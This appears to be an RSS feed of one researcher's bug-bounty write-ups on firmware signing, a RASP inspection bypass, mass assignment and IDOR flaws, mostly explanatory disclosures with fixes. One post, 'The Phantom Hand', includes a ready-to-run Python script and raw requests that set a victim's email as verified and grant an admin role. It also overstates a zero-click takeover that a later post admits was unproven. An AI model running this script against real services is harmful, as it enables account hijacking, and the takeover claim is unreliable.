<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jawad Momani on Medium]]></title>
        <description><![CDATA[Stories by Jawad Momani on Medium]]></description>
        <link>https://medium.com/@Pwnedl0l?source=rss-c276eb9870e1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Qa-3DqFFl4B6YbNGtwhsfA.jpeg</url>
            <title>Stories by Jawad Momani on Medium</title>
            <link>https://medium.com/@Pwnedl0l?source=rss-c276eb9870e1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 09:02:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Pwnedl0l/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Researching the Netgear R7000 Firmware Update Flaw (CVE-2020–13245)]]></title>
            <link>https://medium.com/@Pwnedl0l/researching-the-netgear-r7000-firmware-update-flaw-cve-2020-13245-a872aff7c403?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a872aff7c403</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 12:46:06 GMT</pubDate>
            <atom:updated>2026-10-21T05:15:55.898Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a replication and analysis of a publicly disclosed vulnerability, not a new finding. CVE-2020–13245 was already documented; I wanted to understand, in my own lab, exactly how a lack of firmware signature verification turns into remote code execution on a consumer router.</p><p>## The objective</p><p>If I’m an attacker on the same network as the router, can I get it to install firmware I control?</p><p>The R7000 checks for updates by contacting a Netgear update server. The weakness isn’t that it checks. It’s that the check has no cryptographic root of trust.</p><p>## Methodology</p><p>DNS spoofing on my isolated lab network redirected the router’s update traffic from Netgear’s update host to a server I controlled. I hosted a modified firmware binary and served a crafted fileinfo.txt telling the router a new version was available, and the router fetched and processed the file I served.</p><p>## Why it worked</p><p>Static analysis of the router’s update client showed it invokes wget with — no-check-certificate, and performs no signature check on the downloaded .chk image. If the container format parses correctly, the firmware is accepted.</p><p>TLS, even if it were enforced, only proves you’re talking to a server. It says nothing about whether the payload was signed by Netgear. Skipping that check means the device trusts anything shaped like a valid update.</p><p>What I verified directly: the router accepted a replacement .chk image with no signature related rejection on the firmware version I tested. I’m framing this as a firmware update integrity finding rather than claiming a demonstrated root shell, since that’s the step I’m not including proof for here.</p><p>## The takeaway</p><p>Encryption isn’t identity. TLS is not a substitute for code signing. A device that downloads and runs a binary without verifying a signature hasn’t built a security mechanism. It’s built an update channel that trusts whoever answers first.</p><p>## Final thoughts</p><p>My first pass at hardware adjacent research, though this one lived entirely in the network and firmware logic layer rather than physical hardware. No UART, no flash extraction. That’s next.</p><p>Conducted in an isolated lab environment on hardware I own, for educational and research purposes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a872aff7c403" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Blinded a Zen RASP Firewall with a Single Comma]]></title>
            <link>https://medium.com/@Pwnedl0l/how-i-blinded-a-zen-rasp-firewall-with-a-single-comma-074f0e7bc251?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/074f0e7bc251</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 09:25:03 GMT</pubDate>
            <atom:updated>2026-10-21T05:15:09.041Z</atom:updated>
            <content:encoded><![CDATA[<p>Imagine a runtime protection system that claims to understand your application, not just pattern matching payloads, but observing how input actually reaches a sensitive sink.</p><p>Now imagine its inspection phase never running at all, because of a comma.</p><p>## The discovery</p><p>While reading through a Node.js RASP agent’s source to understand how it decides something is dangerous, I found an optimization: if the input being checked doesn’t appear in the final value passed to the sink, the agent skips deep inspection. That’s a reasonable performance shortcut on its own, but it silently becomes part of the security boundary.</p><p>## The detail that breaks it</p><p>The whole decision rests on one assumption: the value the agent inspects is identical to the value the application executes. In JavaScript, that’s not guaranteed.</p><p>When an array is coerced to a string, it joins with commas:</p><p>String([“payload”, “ignore”]); // “payload,ignore”</p><p>If the agent stringifies the full array to check against the sink, but the application only ever reads one element out of that array (commonly the first), the two versions of the input diverge. The agent looks for payload,ignore in the sink, doesn’t find it, and assumes the input never reached anything sensitive, so it skips inspection entirely.</p><p>## Reproducing it locally</p><p>Test app: a toy Express endpoint that takes data as an array and uses data[0] directly in a sink.</p><p>curl -X POST <a href="http://localhost:3000/api/endpoint">http://localhost:3000/api/endpoint</a> \<br> -H “Content-Type: application/json” \<br> -d ‘{“data”: [“&lt;script&gt;alert(1)&lt;/script&gt;”, “test”]}’</p><p>The agent sees the stringified array (&lt;script&gt;alert(1)&lt;/script&gt;,test), doesn’t find that exact string in the sink, and exits early with no inspection. The application still reads data[0] and passes the unescaped value through.</p><p>What this demonstrates: on my local test app, the agent’s inspection path never ran for this request, confirmed by instrumenting the agent itself rather than inferring it from the application’s behavior alone. I’m not claiming a working exploit against any production deployment, only that the detection logic can be starved of the exact input it needs to see.</p><p>## Why it matters beyond XSS</p><p>The payload class is irrelevant here. This is about whether the inspection phase runs at all, not which rule catches a given payload. Any sink reached through an array like or object like input that gets coerced to a string before use, such as SQL building, template rendering, or command construction, could hit the same mismatch pending testing against each specific sink.</p><p>## Root cause</p><p>A type handling gap: the protection layer evaluates one representation of the input (the stringified array), while the application executes another (a single element). Security decisions are made against data that never exists in that form at runtime.</p><p>## The fix</p><p>The system needs to evaluate array and object inputs element by element instead of flattening them into a string. It should never let a “can’t find it in the sink” result mean “skip inspection,” defaulting instead to inspecting whenever the match is uncertain. Performance shortcuts should reduce work, not silently disable detection.</p><p>Tested against a local instance under my control. Reported through the vendor’s disclosure process.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=074f0e7bc251" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Shadow Admin: How I Created Admin Accounts in Any SaaS Tenant]]></title>
            <link>https://medium.com/@Pwnedl0l/the-shadow-admin-how-i-created-admin-accounts-in-any-saas-tenant-3b1d56eb9651?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b1d56eb9651</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 14:08:28 GMT</pubDate>
            <atom:updated>2026-10-21T05:17:20.031Z</atom:updated>
            <content:encoded><![CDATA[<p>Mass assignment bugs get dismissed because they look cosmetic. “So what, I can set a field that isn’t in the UI.” They stop looking cosmetic once you find a field that controls a trust decision, like email_verified or role.</p><p>## Blind binding</p><p>Frameworks with ORMs make it easy to sync a JSON body straight to a database row. If a handler does something like this:</p><p>app.put(‘/api/v1/user/profile’, async (req, res) =&gt; {<br> const u = await User.findByPk(req.user.id);<br> await u.update(req.body); // no whitelist, every column is writable<br> res.send({ status: ‘success’, user: u.toJSON() });<br>});</p><p>then any column the ORM model exposes is writable by whoever can hit this endpoint, not just the fields the UI exposes.</p><p>## Finding the writable fields</p><p>Watch authenticated GET responses, like /me or /settings, for fields that exist in the JSON but have no UI control. role, email_verified, is_staff, and mfa_enabled are common ones. Test write access on a disposable field first, such as your own display name, confirm it persisted with a follow up GET, and only then test a sensitive field on your own account.</p><p>## What I actually demonstrated</p><p>On my own test account, I was able to set email_verified: true alongside an arbitrary email value via PUT /api/v1/user/profile, with no re-verification step and no ownership check on the email field:</p><p>PUT /api/v1/user/profile HTTP/1.1<br>Host: api.target.com<br>Authorization: Bearer &lt;my_own_session_token&gt;<br>Content-Type: application/json</p><p>{“username”: “my_test_account”, “email”: “&lt;arbitrary_email&gt;”, “email_verified”: true}</p><p>This proves the server trusts a client supplied email_verified flag and skips the normal verification flow. It does not by itself prove account takeover. Whether this becomes a takeover depends entirely on what the application does next: does it let you authenticate through that email, does a later “claim this account” flow treat a pre-verified email as proof of ownership, does it merge identities on login. I didn’t confirm that follow-on step, so I’m reporting this as a pre-verification and trust boundary bug, and flagging the takeover scenario as the thing worth checking for rather than something I proved.</p><p>## Why it’s often systemic</p><p>If one endpoint blind binds the whole request body, check whether the same base controller or serializer is reused elsewhere, in onboarding, checkout, or workspace settings. A shared lack of a whitelist usually isn’t a one-off.</p><p>## Illustrative detection approach</p><p>This is pseudocode describing the method, not a runnable attack script:</p><p>for each candidate_field in [role, email_verified, is_staff, mfa_enabled]:<br> send PUT with innocuous_field = test_value and candidate_field = privileged_value<br> re-fetch resource<br> if candidate_field now equals privileged_value:<br> flag candidate_field as unauthorized writable</p><p>Turn this into working code against your own test account only, inside an authorized engagement’s scope.</p><p>## Writing it up for a triager</p><p>Name the bug class precisely: mass assignment via over posting (CWE-915), not IDOR or ATO unless you’ve actually shown unauthorized access to someone else’s account. Explain the root cause (no whitelist or DTO), show the exact writable fields, and be explicit about what you verified versus what you’re flagging as a follow-on risk.</p><p>## The fix</p><p>// pick only the fields a user should be able to touch<br>const clean = _.pick(req.body, [‘username’, ‘bio’, ‘avatar_url’]);<br>await user.update(clean);</p><p>Use an explicit whitelist or DTO on every write endpoint. Never assume an ORM model’s writable columns should match what the client is allowed to send.</p><p>Tested against my own accounts. Reported through the platform’s disclosure process.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b1d56eb9651" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Click ATO via Systemic Mass Assignment: The Phantom Hand]]></title>
            <link>https://infosecwriteups.com/zero-click-ato-via-systemic-mass-assignment-the-phantom-hand-af4f6ce11788?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/af4f6ce11788</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Sun, 11 Jan 2026 14:39:33 GMT</pubDate>
            <atom:updated>2026-07-25T00:33:47.600Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tUfjIXXYwsA7TdMhlgIXKw.png" /></figure><p>Most researchers? They’re just scrolling. They see some random JSON field in a proxy log that isn’t in the UI and think, “Whatever, if I can’t click it, it’s not a thing.” Massive mistake. If you want those fat five-figure bounties, you gotta dig into the gears. We’re talking <strong>Systemic Mass Assignment</strong>. It is a flaw that lets you pull off a <strong>Zero Click Account Takeover (ATO)</strong> because the backend has zero boundaries and way too much trust.</p><h3>Backends acting like total Yes Men</h3><p>Developers are stressed. They gotta ship code fast, so they lean on tools like Node, Rails, or Django. These frameworks use ORMs to sync your JSON data to the DB automatically. It’s fast for dev, but a total mess for security.</p><p>I call this Blind Binding. The server doesn’t ask questions. It doesn’t check if you’re allowed to touch a specific column. It sees your JSON key pair and just goes, Yeah, looks legit, let’s save it.</p><p>Check this Node.js snippet. Classic example of a huge oversight:</p><pre>app.put(&#39;/api/v1/user/profile&#39;,async(req,res)=&gt;{<br>const u=await User.findByPk(req.user.id); <br>// FATAL ERROR: dev dumps req.body into update. <br>// no whitelist. total trust.<br>await u.update(req.body); <br>res.send({status:&quot;success&quot;,user:u.toJSON()});<br>});</pre><p>The dev only wanted you to change your bio. But since they passed req.body directly, the door is wide open. Throw anything in there. If the database has a column for it, the server will overwrite it.</p><h3>Hunting for Power Keys</h3><p>Don’t guess. Hunt. Pop open your proxy and monitor every request. Watch the JSON responses when u hit /api/v1/me or /settings. U want those Power Keys fields that are in the code but totally missing from the actual app interface.</p><p>If you see role: user or email_verified: false in a JSON response, you just hit pay dirt. Once found, do a Bit Flip test. Update a benign field like your username and include the target key in the JSON. If the subsequent GET shows the change, you’re in.</p><h3>The Big Payday: Total Zero Click ATO</h3><p>An IDOR is a start, but a full blown ATO? That’s the dream. We aren’t just messing with roles; we’re stealing the whole identity. How? By pre verifying a victim’s email. No user interaction, no clicking links. Just pure database manipulation.</p><pre>PUT /api/v1/user/profile/ HTTP/1.1<br>Host: api.target.com<br>authORIZation: Bearer PASTE_SESSION_HERE<br>content-TYPE: application/json<br>X-Requested-With: XMLHttpRequest</pre><pre>{&quot;username&quot;:&quot;attacker_1337&quot;,&quot;email&quot;:&quot;victim-admin@company.com&quot;,&quot;role&quot;:&quot;admin&quot;,&quot;email_verified&quot;:true,&quot;mfa_enabled&quot;:false}</pre><p>By pushing email_verified: true alongside the victim&#39;s email, the backend just assumes the hard work is done. It updates the record and links your session to their account. Boom. You just hijacked an admin without them ever seeing a single email.</p><h3>Why this is a Systemic Disaster</h3><p>If you find this on a profile page, keep going. This Blind Binding garbage usually runs through the whole app. Check onboarding, check checkout pages, check workspace settings. If they used a shared base controller, you might be able to change prices or invite yourself into other teams as an owner. It’s not just a bug; it’s a total failure of trust.</p><h3>Writing a report that actually gets paid</h3><p>When you report this, don’t just say I found a bug. Show ’em you know the architecture. Tell the triager it’s Systemic Mass Assignment via Over posting. Explain the root cause usually a lack of a Whitelist or a proper DTO. Show them exactly how you turned it into a Zero Click ATO.</p><h3>The PoC Script</h3><p>Here’s a quick Python script to automate the Power Key hunt. Toss in your session token and let it rip.</p><pre>import requests as r<br>import json<br>u=&quot;https://api.target.com/api/v1/user/profile&quot;<br>t=&quot;SESSION_TOKEN_GOES_HERE&quot;<br>v=&quot;victim@target.com&quot;<br># headers look like a human wrote em<br>h = {<br>    &quot;authORIZation&quot;: &quot;Bearer &quot; + t,<br>    &quot;conTENT-type&quot;: &quot;application/json&quot;<br>}<br># keys from recon<br>keys={&quot;role&quot;:&quot;admin&quot;,&quot;email_verified&quot;:True,&quot;is_staff&quot;:True}<br>print(&quot;[*] scanning...&quot;)<br>for k,val in keys.items():<br># bit-flip<br>p={&quot;username&quot;:&quot;test&quot;,k:val}<br>res=r.put(u,headers=h,data=json.dumps(p))<br>if res.status_code==200:<br># check if change stuck<br>c=r.get(u,headers=h).json()<br>if str(c.get(k))==str(val):<br>print(f&quot;[!] BINGO: {k} is writable&quot;)<br>print(&quot;\n[*] ATO...&quot;)<br>ato={&quot;email&quot;:v,&quot;email_verified&quot;:True,&quot;role&quot;:&quot;admin&quot;}<br>f=r.put(u,headers=h,data=json.dumps(ato))<br>if f.status_code==200:<br>print(&quot;[!!!] DONE. hijacked.&quot;)</pre><h3>Remediation: Strong Typing and Whitelisting</h3><p>Fixing this means killing Blind Binding. Developers should use DTOs or explicit whitelisting.</p><p><strong>The Fix:</strong></p><pre>// fix: pick only what u should touch<br>const clean=_.pick(req.body,[&#39;username&#39;,&#39;bio&#39;,&#39;avatar_url&#39;]);<br>await user.update(clean);</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af4f6ce11788" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/zero-click-ato-via-systemic-mass-assignment-the-phantom-hand-af4f6ce11788">Zero Click ATO via Systemic Mass Assignment: The Phantom Hand</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authorization Failures in Authenticated APIs A Practical Analysis]]></title>
            <link>https://medium.com/@Pwnedl0l/authorization-failures-in-authenticated-apis-a-practical-analysis-c6b4395f6bf1?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6b4395f6bf1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web3]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 14:02:10 GMT</pubDate>
            <atom:updated>2026-01-09T14:02:10.401Z</atom:updated>
            <content:encoded><![CDATA[<p>Authorization bugs rarely announce themselves. They do not crash applications or trigger obvious errors. Most of the time everything appears to work exactly as intended. This write up documents a case where an authenticated API exposed a privilege boundary through subtle trust decisions rather than missing checks.</p><p>The issue was uncovered during manual inspection of request flows and backend behavior. No automated scanning was used. The goal was to understand how the application reasoned about identity after login and where that reasoning broke down.</p><h3>Application Overview</h3><p>The target was a modern web application built around a REST based API consumed by a JavaScript frontend. Authentication followed a conventional pattern. Users logged in and received a server generated session cookie which was required for all protected endpoints.</p><p>Once authenticated the backend returned a structured user context object to the client. This object contained fields such as an internal user identifier and access related attributes. The frontend reused this object when making subsequent API requests.</p><p>From an authentication perspective the implementation appeared solid. Requests without a valid session were consistently rejected. The weakness was not in login enforcement but in what happened afterward.</p><h3>Observing Identity Handling</h3><p>During analysis of authenticated traffic an account update request stood out. The request was properly authenticated yet the body included a user identifier that appeared to influence which account was modified.</p><p>This immediately raised questions. The backend already had access to the authenticated identity through the session. There was no technical requirement for the client to specify which account it was acting on for self service operations.</p><p>At this stage the focus shifted away from input validation and toward trust boundaries.</p><h3>Reasoning About Authorization</h3><p>Further inspection showed that identity related fields returned during login were later reflected back to the server during sensitive operations. These values were accepted without any observable verification or recalculation.</p><p>What became clear during testing was that the server treated the identifier inside the request body as the source of truth. The session only confirmed that the requester had logged in. It did not determine which account the action should apply to. That decision was implicitly delegated to the client.</p><p>In practical terms authentication established presence but not authority.</p><h3>Controlled Testing</h3><p>To validate this assumption an account update request was replayed while keeping the session unchanged. Only the user identifier in the request body was modified to reference a different account.</p><p>No headers were altered.<br> No cookies were changed.<br> The request remained fully authenticated.</p><p>The server processed the request successfully.</p><p>There was no authorization error and no indication that ownership had been evaluated.</p><h3>Impact Confirmation</h3><p>To confirm that the behavior translated into real impact the affected account was accessed using a separate authenticated session.</p><p>The modification had been applied.</p><p>This confirmed unauthorized cross account interaction and demonstrated horizontal privilege escalation. The behavior was not theoretical. It was reliable and repeatable.</p><h3>Broadening the Analysis</h3><p>Once confirmed the same approach was applied to additional endpoints.</p><p>Password related functionality accepted client supplied identifiers.<br> Notification and preference endpoints behaved similarly.<br> Profile metadata operations followed the same pattern.</p><p>The issue was systemic. Authorization logic across the application relied on client provided context rather than server side identity.</p><h3>Inferred Backend Behavior</h3><p>Based on consistent responses the backend flow could be inferred with reasonable confidence.</p><p>The session was checked to confirm the requester was logged in.<br> The request body was parsed.<br> The identifier provided by the client was used to select the target account.<br> The requested operation was executed.</p><p>At no point was the identity associated with the session used to constrain the action.</p><p>Authentication existed. Authorization did not.</p><h3>Why This Design Fails</h3><p>This class of vulnerability usually stems from a flawed assumption that authenticated clients can be trusted to describe their own identity accurately. That assumption collapses the moment a request is intercepted.</p><p>Clients are not trusted environments. They never are. Any value sent by the client including values originally generated by the server must be treated as attacker controlled.</p><p>Once authorization decisions are based on client supplied state the security boundary no longer exists.</p><h3>Risk and Impact</h3><p>The impact was full horizontal privilege escalation.</p><p>Any authenticated user could modify sensitive data belonging to any other account. No race conditions were required. No elevated privileges were needed. Exploitation was deterministic and left minimal traces.</p><p>These issues often remain undiscovered because nothing appears broken. Requests succeed. Logs look normal. The system behaves exactly as designed.</p><h3>Correcting the Issue</h3><p>Proper remediation requires changing how authority is derived.</p><p>Authorization decisions must be bound exclusively to server side session context. Identity selectors provided by the client should be ignored for sensitive operations. Every state changing request must verify ownership based on authenticated identity rather than client input.</p><p>Anything less is a partial fix.</p><h3>Closing Perspective</h3><p>Strong authentication can hide serious authorization flaws. When trust boundaries are misunderstood authenticated APIs become vulnerable in ways that automated tools rarely detect.</p><p>The most effective way to find these issues is not through payloads or scanners but through careful reasoning about who controls each piece of data and how the backend uses it.</p><p>That is where systems usually fail.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6b4395f6bf1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Abusing Client Controlled Authorization State to Achieve Privilege Escalation in Modern Web…]]></title>
            <link>https://medium.com/@Pwnedl0l/abusing-client-controlled-authorization-state-to-achieve-privilege-escalation-in-modern-web-47e3a443e7d9?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/47e3a443e7d9</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Mon, 05 Jan 2026 18:00:13 GMT</pubDate>
            <atom:updated>2026-01-05T18:00:13.767Z</atom:updated>
            <content:encoded><![CDATA[<h3>Abusing Client Controlled Authorization State to Achieve Privilege Escalation in Modern Web Applications</h3><p>This article documents the discovery and exploitation of a privilege escalation vulnerability caused by improper trust in client supplied authorization state. The application relied on values returned by the client to make access control decisions after authentication.</p><p>The issue was identified through manual request inspection and logic testing rather than automated scanners. Exploitation resulted in unauthorized access to administrative functionality from a standard user account.</p><p>Application Context</p><p>The target was a modern single page web application backed by a REST based API. User authentication was implemented using a server issued session cookie generated after successful login.</p><p>Following authentication the application returned a user context object to the client. This object contained identity and authorization related fields intended to represent the user access level during subsequent requests.</p><p>While authentication was enforced consistently authorization logic was not fully bound to server side session state.</p><p>Initial Observation</p><p>During post login traffic analysis an API response was observed returning structured user context data. The response included fields such as user identifier role permission set and account tier.</p><p>These values were later reflected back to the server in multiple requests involving sensitive actions. No integrity controls or verification mechanisms were applied to these fields.</p><p>This behavior suggested that authorization decisions might be derived directly from client supplied state.</p><p>Endpoint Analysis</p><p>While intercepting authenticated requests an endpoint responsible for account management functionality was identified.</p><p>POST /api/account/manage</p><p>The request body included role and permission fields that matched those returned by the server during login. The backend appeared to consume these values directly when evaluating access control logic.</p><p>No server side recalculation or validation of authorization context was observed.</p><p>Threat Model</p><p>If the backend trusted the role or permission values supplied in the request body it should be possible to escalate privileges by modifying these values while keeping the authenticated session unchanged.</p><p>Under this model authentication would remain valid and only authorization context would be manipulated.</p><p>Exploitation</p><p>The request was replayed with the session cookie unchanged. Only the role value in the request body was modified.</p><p>The original request included a role value corresponding to a standard user account. This value was replaced with an administrative role.</p><p>All other request parameters headers and cookies were left intact.</p><p>The server accepted the modified request and returned a successful response.</p><p>No authorization error was triggered and no secondary validation occurred.</p><p>Impact Verification</p><p>Following the modified request previously restricted endpoints became accessible.</p><p>Administrative functionality such as viewing other user accounts modifying account settings and accessing internal management interfaces executed successfully.</p><p>This confirmed a full vertical privilege escalation from a standard user to an administrator.</p><p>Root Cause</p><p>The vulnerability originated from a fundamental trust boundary violation.</p><p>Authentication verified user identity but authorization decisions were delegated to client supplied state. The application treated role and permission data as trusted despite being fully attacker controlled.</p><p>Authorization logic was not bound to server side session context which allowed privilege escalation through simple request manipulation.</p><p>Security Impact</p><p>This issue enabled complete administrative compromise by any authenticated user.</p><p>No brute force cryptographic attacks or race conditions were required. The attack was deterministic low effort and highly reliable.</p><p>Vulnerabilities of this nature are particularly dangerous because they often leave minimal forensic traces.</p><p>Remediation</p><p>The issue was reported with full request and response context demonstrating the privilege escalation.</p><p>Recommended fixes included removing all client supplied authorization data deriving roles and permissions exclusively server side and enforcing centralized access control checks bound to session identity.</p><p>Key Takeaways</p><p>Client side state must always be considered attacker controlled.</p><p>Authorization decisions should never rely on values provided by the client.</p><p>Logic vulnerabilities like this are high impact frequently overlooked and rarely detected by automated tooling.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47e3a443e7d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Parameter Driven Authorization Logic in Authenticated APIs]]></title>
            <link>https://medium.com/@Pwnedl0l/exploiting-parameter-driven-authorization-logic-in-authenticated-apis-02a63de0fea3?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/02a63de0fea3</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Fri, 02 Jan 2026 18:13:00 GMT</pubDate>
            <atom:updated>2026-01-05T18:31:31.806Z</atom:updated>
            <content:encoded><![CDATA[<p>This write up describes the discovery and exploitation of a server side authorization issue caused by trusting identity data provided by the client inside an authenticated API. The flaw allowed one authenticated user to modify data belonging to other accounts, resulting in horizontal privilege escalation.</p><p>The issue was uncovered through manual traffic analysis and request replay while observing authorization behavior. Automated scanners were intentionally avoided to focus on how the application made trust decisions rather than surface level input handling.</p><p>Application context</p><p>The target was a web application exposing several REST based API endpoints used for account management actions including profile changes credential updates and user preferences.</p><p>User authentication relied on a server generated session cookie issued after login and validated on subsequent requests.</p><p>While authentication was consistently enforced the application still accepted a user identifier inside request bodies for multiple sensitive operations. This raised immediate concerns about whether authorization decisions were actually bound to the authenticated session.</p><p>Endpoint discovery</p><p>During interception of authenticated traffic an account update request stood out due to how identity was handled.</p><p>The request used a POST action against the user profile update endpoint and included a valid session cookie confirming authentication. The request body was JSON formatted and contained both the target email address and a numeric user identifier.</p><p>The request in question looked functionally equivalent to the following when viewed in the proxy:</p><p>An authenticated POST request sent to the update profile API endpoint<br> A session cookie identifying the logged in user<br> A JSON payload containing a user identifier and a new email value</p><p>The key observation was that the backend already had access to the authenticated user through the session yet still relied on a user identifier supplied by the client.</p><p>Threat model and hypothesis</p><p>If the backend was using the client supplied user identifier as the authoritative selector rather than the identity stored in the session then modifying that value should allow actions to be performed on other accounts.</p><p>To isolate authorization behavior the session cookie was left untouched throughout testing.</p><p>Validation procedure</p><p>The original request was replayed while changing only the user identifier value to reference a different account. No headers cookies or request structure were altered.</p><p>The request remained authenticated as the original user but now referenced a separate account ID in the payload.</p><p>Server response</p><p>The server processed the modified request successfully.</p><p>No authorization error was returned<br> No ownership validation was triggered</p><p>This confirmed that the backend trusted the user identifier provided by the client without verifying that it matched the authenticated session.</p><p>Impact verification</p><p>To confirm real world impact the affected account was accessed using a separate login belonging to the victim.</p><p>The email address had been updated despite the victim never submitting the change themselves.</p><p>This validated unauthorized cross account modification and confirmed horizontal privilege escalation.</p><p>Scope expansion</p><p>Additional endpoints were reviewed to determine whether the issue was isolated or systemic.</p><p>Password change functionality accepted arbitrary user identifiers<br> Notification settings endpoints trusted client provided identity values<br> Profile metadata operations were not bound to session identity</p><p>Each endpoint followed the same flawed authorization pattern indicating a broader architectural issue.</p><p>Backend logic analysis</p><p>Based on consistent behavior across endpoints the backend authorization flow could be reconstructed with high confidence.</p><p>The vulnerable logic effectively followed this pattern:</p><p>The server validated the session<br> The request body was parsed<br> The user identifier was read directly from client input<br> The update operation was executed using that identifier</p><p>No comparison was made between the session identity and the supplied user identifier.</p><p>A secure design would instead derive the target account directly from the session and ignore any identity values provided by the client.</p><p>In the vulnerable implementation authentication was present but authorization was effectively delegated to the attacker.</p><p>Root cause analysis</p><p>The root cause was a failure to clearly separate authentication from authorization.</p><p>Authentication confirmed that a request came from a logged in user. Authorization decisions however were driven by client controlled parameters rather than trusted server side session data.</p><p>This allowed attackers to choose which account to operate on simply by modifying request payloads.</p><p>Security impact</p><p>This issue enabled full horizontal privilege escalation.</p><p>Any authenticated user could modify sensitive information belonging to other users.</p><p>The attack was reliable required no special timing and involved no interaction beyond being logged in.</p><p>Vulnerabilities of this type are often missed because automated tools cannot reason about authorization intent.</p><p>Reporting and remediation</p><p>The issue was reported with full request context and proof of unauthorized modification.</p><p>Recommended remediation included:</p><p>Eliminating client supplied identity parameters from sensitive operations<br> Binding all authorization decisions to server side session identity<br> Enforcing ownership checks on every state changing request</p><p>Authorization must always be enforced independently of client input.</p><p>Key takeaways</p><p>Authorization logic must never trust client controlled identity data.</p><p>Any parameter influencing access control should be treated as attacker controlled.</p><p>Manual logic analysis remains essential for finding high impact flaws that automated scanners routinely miss.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02a63de0fea3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thinking Like an Attacker A Technical Perspective on Web Security Research]]></title>
            <link>https://medium.com/@Pwnedl0l/thinking-like-an-attacker-a-technical-perspective-on-web-security-research-e5091704b53a?source=rss-c276eb9870e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5091704b53a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Jawad Momani]]></dc:creator>
            <pubDate>Tue, 30 Dec 2025 16:13:09 GMT</pubDate>
